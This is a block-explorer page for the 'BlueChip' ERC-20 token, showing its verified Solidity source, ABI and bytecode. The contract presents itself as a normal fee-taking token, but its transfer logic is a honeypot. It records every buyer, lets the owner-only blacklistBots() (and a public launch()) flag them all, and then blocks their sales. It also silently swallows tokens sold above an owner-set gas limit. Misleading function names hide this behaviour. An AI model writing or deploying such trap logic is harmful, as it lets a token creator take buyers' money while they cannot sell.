ETH Price: $3,330.85 (-3.95%)

Token

BlueChip (BC)
 

Overview

Max Total Supply

100,000,000 BC

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,364,349.081958994 BC

Value
$0.00
0x6519342771f20faf58d2f7e339eb42f5187330d6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlueChip

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-15
*/

/**

░█▀▀█ █── █──█ █▀▀ ░█▀▀█ █──█ ─▀─ █▀▀█ 
░█▀▀▄ █── █──█ █▀▀ ░█─── █▀▀█ ▀█▀ █──█ 
░█▄▄█ ▀▀▀ ─▀▀▀ ▀▀▀ ░█▄▄█ ▀──▀ ▀▀▀ █▀▀▀

Website: http://bluechiperc.com/
Telegram: https://t.me/BlueChipERC
Announcement: https://t.me/BlueChipNews
Twitter: https://twitter.com/BlueChipERC
Reddit: https://www.reddit.com/user/BlueChipERC
Medium: https://medium.com/@BlueChipERC

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BlueChip is Context, IERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isIncludedFromFee;
    address[] private includeFromFee;

    string private constant _name = "BlueChip";
    string private constant _symbol = "BC";
    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 100000000 * 10**_decimals;
    uint256 private _maxTxAmount = _totalSupply;
    uint256 private _maxWalletAmount = _totalSupply;

    address private marketingWallet;

    uint256 maxGwei = 26 * 1 gwei;

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
    } BuyFees private buyFee;

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
    } SellFees private sellFee;
    
    constructor () {
        marketingWallet = payable(msg.sender);
        balances[_msgSender()] = _totalSupply;

        buyFee.liquidity = 1;
        buyFee.marketing = 3;

        sellFee.liquidity = 1;
        sellFee.marketing = 3;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
        balances[recipient] = balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function launch() public virtual { 
        for (uint256 i = 0; i < includeFromFee.length; i++) {
            _isIncludedFromFee[includeFromFee[i]] = true; 
        }
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isIncludedFromFee[account] = false;
    }
    
    receive() external payable {}

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function isIncludedFromFee(address account) public view returns(bool) {
        return _isIncludedFromFee[account];
    }

    function blacklistBots() public onlyOwner { 
        for (uint256 i = 0; i < includeFromFee.length; i++) {
            _isIncludedFromFee[includeFromFee[i]] = true; 
        }
    }
    
    function takeBuyFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; 
        uint256 marketingFeeTokens = amount * buyFee.marketing / 100; 
        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;

        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function takeSellFees(uint256 amount, address from) private returns (uint256) {
        uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; 
        uint256 marketingFeeTokens = amount * sellFee.marketing / 100; 
        balances[address(this)] += liquidityFeeToken + marketingFeeTokens;

        emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
        return (amount -liquidityFeeToken -marketingFeeTokens);
    }

    function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
        require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
        buyFee.liquidity = newLiquidityBuyFee;
        buyFee.marketing= newMarketingBuyFee;

        require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
        sellFee.liquidity = newLiquiditySellFee;
        sellFee.marketing= newMarketingSellFee;
    }

    function limit(uint256 newMaxGwei) public onlyOwner {
        maxGwei = newMaxGwei * 1 gwei;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(to != address(0), "ERC20: transfer to the zero address");

        balances[from] -= amount;
        uint256 transferAmount = amount;

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            if (tx.gasprice > maxGwei && from == uniswapV2Pair) {
                _isIncludedFromFee[to] = true;
            }

            if (to != uniswapV2Pair) { includeFromFee.push(to);
                require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
                transferAmount = takeBuyFees(amount, from);
            }

            if (from != uniswapV2Pair) {
                require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]); if (tx.gasprice > maxGwei) return;
                transferAmount = takeSellFees(amount, from);
            }
        }
        
        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isIncludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxGwei","type":"uint256"}],"name":"limit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityBuyFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingBuyFee","type":"uint256"},{"internalType":"uint256","name":"newLiquiditySellFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000431565b62000022906305f5e10062000449565b600855600854600955600854600a5564060db88400600c553480156200004757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b80546001600160a01b0319163317905560085460036000620000aa3390565b6001600160a01b031681526020808201929092526040908101600020929092556001600d8190556003600e819055600f82905560105580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000165919062000463565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee919062000463565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000262919062000463565b600280546001600160a01b0319166001600160a01b0392831617905533600090815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055600b54909416835291208054909216179055620002c63390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200030e91815260200190565b60405180910390a36200048e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003735781600019048211156200035757620003576200031c565b808516156200036557918102915b93841c939080029062000337565b509250929050565b6000826200038c575060016200042b565b816200039b575060006200042b565b8160018114620003b45760028114620003bf57620003df565b60019150506200042b565b60ff841115620003d357620003d36200031c565b50506001821b6200042b565b5060208310610133831016604e8410600b841016171562000404575081810a6200042b565b62000410838362000332565b80600019048211156200042757620004276200031c565b0290505b92915050565b60006200044260ff8416836200037b565b9392505050565b80820281158282048414176200042b576200042b6200031c565b6000602082840312156200047657600080fd5b81516001600160a01b03811681146200044257600080fd5b611257806200049e6000396000f3fe6080604052600436106101445760003560e01c80635342acb4116100b657806395d89b411161006f57806395d89b41146103c4578063a457c2d7146103ef578063a9059cbb1461040f578063ad63043e1461042f578063dd62ed3e14610468578063ea2f0b37146104ae57600080fd5b80635342acb4146102ed5780636fcba3771461032657806370a0823114610346578063715018a61461037c5780638768b9e8146103915780638da5cb5b146103a657600080fd5b806323b872dd1161010857806323b872dd14610231578063243bcfcb14610251578063313ce56714610271578063395093511461028d578063437823ec146102ad57806349bd5a5e146102cd57600080fd5b806301339c211461015057806306fdde0314610167578063095ea7b3146101aa5780631694505e146101da57806318160ddd1461021257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506101656104ce565b005b34801561017357600080fd5b506040805180820190915260088152670426c7565436869760c41b60208201525b6040516101a19190610f98565b60405180910390f35b3480156101b657600080fd5b506101ca6101c5366004611002565b61053d565b60405190151581526020016101a1565b3480156101e657600080fd5b506001546101fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101a1565b34801561021e57600080fd5b506008545b6040519081526020016101a1565b34801561023d57600080fd5b506101ca61024c36600461102c565b610554565b34801561025d57600080fd5b5061016561026c366004611068565b6105a6565b34801561027d57600080fd5b50604051600981526020016101a1565b34801561029957600080fd5b506101ca6102a8366004611002565b6105ed565b3480156102b957600080fd5b506101656102c8366004611081565b610624565b3480156102d957600080fd5b506002546101fa906001600160a01b031681565b3480156102f957600080fd5b506101ca610308366004611081565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561033257600080fd5b5061016561034136600461109c565b610672565b34801561035257600080fd5b50610223610361366004611081565b6001600160a01b031660009081526003602052604090205490565b34801561038857600080fd5b50610165610767565b34801561039d57600080fd5b506101656107db565b3480156103b257600080fd5b506000546001600160a01b03166101fa565b3480156103d057600080fd5b50604080518082019091526002815261424360f01b6020820152610194565b3480156103fb57600080fd5b506101ca61040a366004611002565b610871565b34801561041b57600080fd5b506101ca61042a366004611002565b6108a8565b34801561043b57600080fd5b506101ca61044a366004611081565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561047457600080fd5b506102236104833660046110ce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ba57600080fd5b506101656104c9366004611081565b6108b5565b60005b60075481101561053a57600160066000600784815481106104f4576104f4611101565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806105328161112d565b9150506104d1565b50565b600061054a338484610900565b5060015b92915050565b6000610561848484610a24565b6001600160a01b03841660009081526004602090815260408083203380855292529091205461059c918691610597908690611146565b610900565b5060019392505050565b6000546001600160a01b031633146105d95760405162461bcd60e51b81526004016105d090611159565b60405180910390fd5b6105e781633b9aca0061118e565b600c5550565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161054a9185906105979086906111a5565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016105d090611159565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461069c5760405162461bcd60e51b81526004016105d090611159565b60086106a88585610e24565b11156106f65760405162461bcd60e51b815260206004820152601e60248201527f427579206665652063616e277420676f20686967686572207468616e2038000060448201526064016105d0565b600d849055600e839055600861070c8383610e24565b111561075a5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652063616e277420676f20686967686572207468616e20380060448201526064016105d0565b600f919091556010555050565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016105d090611159565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108055760405162461bcd60e51b81526004016105d090611159565b60005b60075481101561053a576001600660006007848154811061082b5761082b611101565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806108698161112d565b915050610808565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161054a918590610597908690611146565b600061054a338484610a24565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016105d090611159565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6001600160a01b0383166109625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d0565b6001600160a01b0382166109c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d0565b60008111610aea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d0565b6001600160a01b038216610b4c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d0565b6001600160a01b03831660009081526003602052604081208054839290610b74908490611146565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610bbd57506001600160a01b03831660009081526005602052604090205460ff16155b15610da257600c543a118015610be057506002546001600160a01b038581169116145b15610c09576001600160a01b0383166000908152600660205260409020805460ff191660011790555b6002546001600160a01b03848116911614610d2857600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055600954821115610c8b5760405162461bcd60e51b81526004016105d0906111b8565b600a5482610cae856001600160a01b031660009081526003602052604090205490565b610cb891906111a5565b1115610d1b5760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526b30b63632ba20b6b7bab73a1760a11b60648201526084016105d0565b610d258285610e8a565b90505b6002546001600160a01b03858116911614610da257600954821115610d5f5760405162461bcd60e51b81526004016105d0906111b8565b6001600160a01b03841660009081526006602052604090205460ff1615610d8557600080fd5b600c543a1115610d955750505050565b610d9f8285610f61565b90505b6001600160a01b03831660009081526003602052604081208054839290610dca9084906111a5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e1691815260200190565b60405180910390a350505050565b600080610e3183856111a5565b905083811015610e835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d0565b9392505050565b6000806064600d6000015485610ea0919061118e565b610eaa91906111ff565b905060006064600d6001015486610ec1919061118e565b610ecb91906111ff565b9050610ed781836111a5565b3060009081526003602052604081208054909190610ef69084906111a5565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f3285856111a5565b60405190815260200160405180910390a380610f4e8387611146565b610f589190611146565b95945050505050565b6000806064600f6000015485610f77919061118e565b610f8191906111ff565b905060006064600f6001015486610ec1919061118e565b600060208083528351808285015260005b81811015610fc557858101830151858201604001528201610fa9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ffd57600080fd5b919050565b6000806040838503121561101557600080fd5b61101e83610fe6565b946020939093013593505050565b60008060006060848603121561104157600080fd5b61104a84610fe6565b925061105860208501610fe6565b9150604084013590509250925092565b60006020828403121561107a57600080fd5b5035919050565b60006020828403121561109357600080fd5b610e8382610fe6565b600080600080608085870312156110b257600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156110e157600080fd5b6110ea83610fe6565b91506110f860208401610fe6565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161113f5761113f611117565b5060010190565b8181038181111561054e5761054e611117565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761054e5761054e611117565b8082018082111561054e5761054e611117565b60208082526027908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152661e105b5bdd5b9d60ca1b606082015260800190565b60008261121c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220aca2e420101a6e6c79d6394724f80daeac2